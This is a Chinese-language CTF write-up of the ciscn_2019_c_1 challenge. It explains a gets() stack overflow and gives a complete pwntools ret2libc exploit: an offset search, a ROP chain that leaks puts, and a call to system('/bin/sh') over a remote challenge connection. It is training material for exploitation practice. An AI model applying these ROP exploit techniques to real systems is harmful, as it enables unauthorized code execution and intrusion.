1. 题目背景与核心考察点解析ciscn_2019_c_1是2019年全国大学生信息安全竞赛CNISC中的一道经典PWN题目主要考察参赛者对Linux环境下栈溢出漏洞的利用能力。这道题在CTF圈内被称为堆栈攻防的入门毕业考试其典型性体现在三个方面一是使用最基础的栈溢出漏洞二是需要绕过常见的防护机制三是最终需要构造完整的攻击链。题目运行环境为Ubuntu 18.04 x64系统开启了NXNo-eXecute防护但未启用ASLR地址空间布局随机化。程序本身是一个简单的命令行交互应用用户输入经过gets函数处理这直接导致了经典的栈溢出漏洞。程序没有提供后门函数需要通过ROPReturn-Oriented Programming技术实现漏洞利用。2. 漏洞原理与利用条件分析2.1 栈溢出漏洞成因程序使用危险的gets函数接收用户输入该函数在读取输入时不会检查缓冲区长度。通过IDA反编译可以看到用户输入被存储在栈上的char数组变量中该数组长度仅为0x50字节但gets允许输入任意长度数据导致可以覆盖栈上的返回地址。关键的反汇编代码片段如下.text:00000000004006B6 lea rax, [rbps] ; s变量在栈上的位置 .text:00000000004006BA mov rdi, rax ; 参数1: 缓冲区地址 .text:00000000004006BD call _gets ; 危险函数调用2.2 防护机制分析题目环境设置了NX保护意味着栈上的shellcode无法直接执行。但程序没有开启以下防护没有Canary保护栈保护没有PIE位置无关可执行文件ASLR在服务器端被关闭libc地址固定这使得我们可以使用ROP技术来绕过NX保护。通过泄露libc函数地址计算出system函数的准确位置最终构造/bin/sh字符串的参数传递。3. 漏洞利用详细步骤3.1 确定溢出偏移量首先需要确定从输入缓冲区到返回地址的准确偏移。通过cyclic模式字符串可以快速定位from pwn import * p process(./ciscn_2019_c_1) payload cyclic(200) p.sendlineafter(input:, payload) p.wait() core p.corefile offset cyclic_find(core.read(core.rsp, 4)) print(fOffset: {offset})实测得到偏移量为88字节0x58这意味着我们需要填充88字节垃圾数据后才能覆盖返回地址。3.2 构造ROP链泄露libc地址由于题目提供了libc.so.6文件我们可以选择泄露puts函数的真实地址然后计算libc基址。关键ROP链构造如下pop_rdi 0x400c83 # pop rdi; ret gadget puts_plt 0x400520 puts_got 0x602020 main_addr 0x400790 payload flat([ bA*88, pop_rdi, puts_got, puts_plt, main_addr ])发送这个payload后程序会打印出puts函数的真实地址通过这个地址减去libc中puts的偏移量就能得到libc的基地址。3.3 计算system和binsh地址获得libc基址后可以计算出其他关键函数的地址libc ELF(./libc.so.6) leaked_puts u64(p.recvline().strip().ljust(8, b\x00)) libc_base leaked_puts - libc.symbols[puts] system_addr libc_base libc.symbols[system] binsh_addr libc_base next(libc.search(b/bin/sh\x00))3.4 最终攻击链构造现在可以构造完整的ROP链调用system(/bin/sh)payload flat([ bA*88, pop_rdi, binsh_addr, system_addr ])4. 完整攻击脚本与实战技巧4.1 自动化攻击脚本以下是整合所有步骤的完整exp#!/usr/bin/env python3 from pwn import * context(archamd64, oslinux, log_leveldebug) def main(): # 本地测试或远程连接切换 if args.REMOTE: p remote(node4.buuoj.cn, 25000) libc ELF(./libc.so.6) else: p process(./ciscn_2019_c_1) libc ELF(/lib/x86_64-linux-gnu/libc.so.6) # 第一段ROP泄露puts地址 pop_rdi 0x400c83 puts_plt 0x400520 puts_got 0x602020 main_addr 0x400790 payload flat([ bA*88, pop_rdi, puts_got, puts_plt, main_addr ]) p.sendlineafter(input:, 1) # 选择加密功能 p.sendlineafter(input:, payload) p.recvuntil(encrypted\n) leaked_puts u64(p.recvline().strip().ljust(8, b\x00)) libc_base leaked_puts - libc.symbols[puts] system_addr libc_base libc.symbols[system] binsh_addr libc_base next(libc.search(b/bin/sh\x00)) # 第二段ROP获取shell payload flat([ bA*88, pop_rdi, binsh_addr, system_addr ]) p.sendlineafter(input:, 1) p.sendlineafter(input:, payload) p.interactive() if __name__ __main__: main()4.2 实战经验与技巧地址对齐问题在64位系统中栈需要保持16字节对齐。有时需要在ROP链中添加额外的ret指令来调整栈对齐ret_gadget 0x4006b9 payload flat([ bA*88, ret_gadget, # 对齐调整 pop_rdi, binsh_addr, system_addr ])输入处理技巧题目可能有多个输入点需要确认漏洞触发点。本题需要先选择加密功能输入1才能触发漏洞。libc版本差异不同系统的libc版本偏移量不同最好使用题目提供的libc文件。如果没有提供可以通过泄露多个函数地址来推断libc版本。5. 防护升级与对抗思路5.1 题目防护措施分析原始题目仅开启了NX保护现代系统通常会启用更多防护ASLR会使libc地址随机化需要通过信息泄露先获取地址Stack Canary需要先泄露canary值或绕过检测FULL RELRO防止修改GOT表需要寻找其他利用方式5.2 进阶利用技术如果题目开启了更多防护可以考虑以下技术栈迁移技术当溢出空间不足时将栈转移到可控的缓冲区one_gadget利用直接使用libc中的execve片段而非systemFSOP攻击利用文件流相关的虚表指针进行利用6. 教学意义与延伸学习这道题目作为入门到进阶的过渡具有重要的教学价值基础ROP构造理解函数调用约定和寄存器传参规则内存泄露技术掌握通过程序输出获取内存信息的方法地址计算技巧学习如何通过相对偏移定位关键函数建议学习者下一步尝试在开启ASLR的情况下完成利用尝试使用one_gadget而非system函数研究如何在没有libc的情况下完成攻击